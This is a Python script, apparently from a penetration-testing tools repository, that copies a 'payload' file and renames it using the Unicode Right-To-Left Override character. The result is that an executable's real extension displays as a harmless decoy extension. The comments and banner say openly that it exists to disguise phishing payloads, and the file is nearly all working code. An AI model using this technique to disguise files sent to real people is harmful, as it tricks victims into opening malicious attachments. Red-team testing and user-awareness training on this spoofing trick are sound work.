mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-11-22 02:21:36 +01:00
106 lines
3.3 KiB
Python
106 lines
3.3 KiB
Python
#!/usr/bin/python3
|
|
#
|
|
# A script abusing Right-To-Left Override unicode byte to rename phishing payloads.
|
|
#
|
|
# Sources:
|
|
# - http://unicode.org/reports/tr36/#Bidirectional_Text_Spoofing
|
|
# - https://www.mozilla.org/en-US/security/advisories/mfsa2009-62/
|
|
# - https://krebsonsecurity.com/2011/09/right-to-left-override-aids-email-attacks/
|
|
# - https://twitter.com/ffforward/status/1486743442801704974
|
|
#
|
|
# Mariusz Banach, mgeeky, "22
|
|
# <mb [at] binary-offensive.com>
|
|
#
|
|
|
|
import os, sys
|
|
import shutil
|
|
import string
|
|
import argparse
|
|
|
|
RTLO = '\u202E' # Right-To-Left Override
|
|
|
|
|
|
def opts(argv):
|
|
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <filename> <decoy-extension>')
|
|
parser.add_argument('filename', help='Payload file that we wish to rename.')
|
|
parser.add_argument('decoy_extension', help='Extension that we wish our payload to mimic via RTLO')
|
|
parser.add_argument('-p', '--padding', default=' ', help='If current file extension length is different than decoy extension length, pad filename with this character. Default: space.')
|
|
|
|
args = parser.parse_args()
|
|
|
|
args.filename = os.path.abspath(args.filename)
|
|
|
|
if args.decoy_extension.startswith('.'):
|
|
args.decoy_extension = args.decoy_extension[1:]
|
|
|
|
if '.' not in args.filename:
|
|
print('[!] Input filename does not have extension! You must point this script to the existing file having some original extension.')
|
|
sys.exit(1)
|
|
|
|
return args
|
|
|
|
def main(argv):
|
|
print('''
|
|
:: Dancing Right-To-Left
|
|
|
|
A script abusing Right-To-Left Override unicode byte to rename phishing payloads.
|
|
|
|
Mariusz Banach / mgeeky '22, (@mariuszbit)
|
|
<mb@binary-offensive.com>
|
|
''')
|
|
|
|
args = opts(argv)
|
|
if not args:
|
|
return False
|
|
|
|
filename, ext = os.path.splitext(args.filename)
|
|
filename2 = os.path.basename(filename)
|
|
ext = ext.replace('.', '')
|
|
|
|
if len(ext) == 0:
|
|
print('[!] Input filename does not have extension! You must point this script to the existing file having some original extension.')
|
|
sys.exit(1)
|
|
|
|
targetext = args.decoy_extension[::-1]
|
|
q = ''
|
|
|
|
if len(targetext) < len(ext):
|
|
filename2 += (len(ext) - len(targetext)) * args.padding
|
|
q = '"'
|
|
|
|
elif len(targetext) > len(ext):
|
|
filename2 += (len(targetext) - len(ext)) * args.padding
|
|
q = '"'
|
|
|
|
out1 = filename2 + '\\u202e' + targetext + '.' + ext
|
|
rest = targetext + '.' + ext
|
|
out2 = filename2 + rest[::-1]
|
|
out3 = filename2 + RTLO + targetext + '.' + ext
|
|
|
|
print(f'''INPUT:
|
|
|
|
Payload Filename : {os.path.basename(args.filename)}
|
|
Payload Extension : {q}.{ext}{q}
|
|
Decoy payloads' extension as : {q}.{args.decoy_extension}{q}
|
|
|
|
OUTPUT:
|
|
|
|
Your file was named in following way : {q}{out1}{q}
|
|
|
|
Your filename will look like this (simulated) : {q}{out2}{q}
|
|
Your filename will look like this (real display) : {out3}
|
|
''')
|
|
|
|
old = args.filename
|
|
new = os.path.dirname(old) + os.sep + filename2 + RTLO + targetext + '.' + ext
|
|
|
|
#
|
|
# Using manual bytes copy cause I was having some weird issues with shutil.copy()
|
|
#
|
|
with open(old, 'rb') as oldfile:
|
|
with open(new, 'wb') as newfile:
|
|
newfile.write(oldfile.read())
|
|
|
|
if __name__ == '__main__':
|
|
main(sys.argv)
|